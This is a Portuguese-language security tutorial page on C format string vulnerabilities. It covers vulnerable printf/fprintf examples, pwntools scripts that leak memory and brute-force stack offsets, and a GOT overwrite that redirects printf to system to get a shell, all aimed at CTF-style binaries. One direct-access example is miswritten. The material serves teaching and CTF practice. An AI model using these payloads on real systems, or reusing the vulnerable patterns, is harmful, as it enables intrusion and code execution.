# Format Strings

{% hint style="success" %}
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<details>

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</details>
{% endhint %}

## Basic Information

Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.

Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.

A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para essa função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.

#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Exemplos:**

* Exemplo vulnerável:
```c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
```
* Uso Normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
```
* Com Argumentos Faltando:
```c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
```
* fprintf vulnerável:
```c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
```
### **Acessando Ponteiros**

O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
```c
printf("%x %x %x %x")
```
e você leria do primeiro ao quarto parâmetro.

Ou você poderia fazer:
```c
printf("$4%x")
```
e ler diretamente o quarto.

Observe que o atacante controla o parâmetro `pr`**`intf`**, o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.

{% hint style="danger" %}
Um atacante controlando essa entrada, será capaz de **adicionar endereços arbitrários na pilha e fazer com que `printf` os acesse**. Na próxima seção, será explicado como usar esse comportamento.
{% endhint %}

## **Leitura Arbitrária**

É possível usar o formatador **`%n$s`** para fazer **`printf`** obter o **endereço** situado na **n posição**, segui-lo e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
```python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Observe que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cortada em 0x00 no final desse endereço.
{% endhint %}

### Encontrar offset

Para encontrar o offset para sua entrada, você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **aumentar** o valor até recuperar os `A's`.

<details>

<summary>Força Bruta printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()
```
</details>

### Quão útil

Leituras arbitrárias podem ser úteis para:

* **Despejar** o **binário** da memória
* **Acessar partes específicas da memória onde informações sensíveis** **são** armazenadas (como canários, chaves de criptografia ou senhas personalizadas como neste [**desafio CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Escrita Arbitrária**

O formatador **`$<num>%n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer **`$<num>%n`** escrever um número arbitrário em um endereço arbitrário.

Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada, para fazer isso é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.

Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).**

Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:

{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}

Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, usa-se **`$hn`**.

* **HOB** é chamado para os 2 bytes mais altos do endereço
* **LOB** é chamado para os 2 bytes mais baixos do endereço

Então, devido a como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.

Se HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`

Se HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`

HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB

{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}

### Pwntools Template

Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em:

{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}

Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()
```
## Format Strings para BOF

É possível abusar das ações de escrita de uma vulnerabilidade de string de formato para **escrever em endereços da pilha** e explorar um tipo de vulnerabilidade de **buffer overflow**.

## Outros Exemplos & Referências

* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bits, sem relro, sem canário, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bits, relro, sem canário, nx, sem pie, string de formato para escrever um endereço dentro de main em `.fini_array` (para que o fluxo retorne mais uma vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo voltar para main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados.

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

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{% endhint %}